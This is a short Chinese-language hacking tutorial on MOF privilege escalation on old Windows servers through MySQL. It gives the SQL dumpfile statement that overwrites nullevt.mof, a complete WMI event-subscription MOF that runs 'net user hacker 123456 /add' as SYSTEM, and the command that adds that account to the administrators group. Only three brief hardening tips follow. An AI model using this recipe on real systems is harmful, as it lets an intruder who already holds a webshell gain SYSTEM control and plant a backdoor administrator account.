mof提权
原理
在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将想要的操作通过代码存储到这个mof文件中,就可以实现权限提升
利用条件
- 仅限windows 及适用于windows server2003及以下的版本
- mysql用户具有root权限(对上面那个目录可写)
- 关闭了secure-file-priv
利用方式
拿下webshell之后当前权限仅限于对网站文件的操作,想要获取对主机的操作还需进一步提权
使用sql语句,通过mysql的dumpfile操作将恶意mof文件拷贝到服务器的c:/windows/system32/wbem/mof/目录下,将系统当中默认的nullevt.mof给替换掉,进而让系统执行我们这个恶意的mof文件
select load_file('mof提权文件及路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
mof提权代码
nullevt.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user hacker 123456 /add\")";
//cmd以system权限执行的语句
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
再将执行命令net user hacker 123456 /add
换为net localgroup administrators hacker /add
即可将hacker用户添加至administrators管理员组
…
安全防范
(1) 对mysql目录权限进行严格限制
(2) 设置复杂的root账号密码
(3) 设置c:/windows/system32/wbem目录为不可写
GOT IT!
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~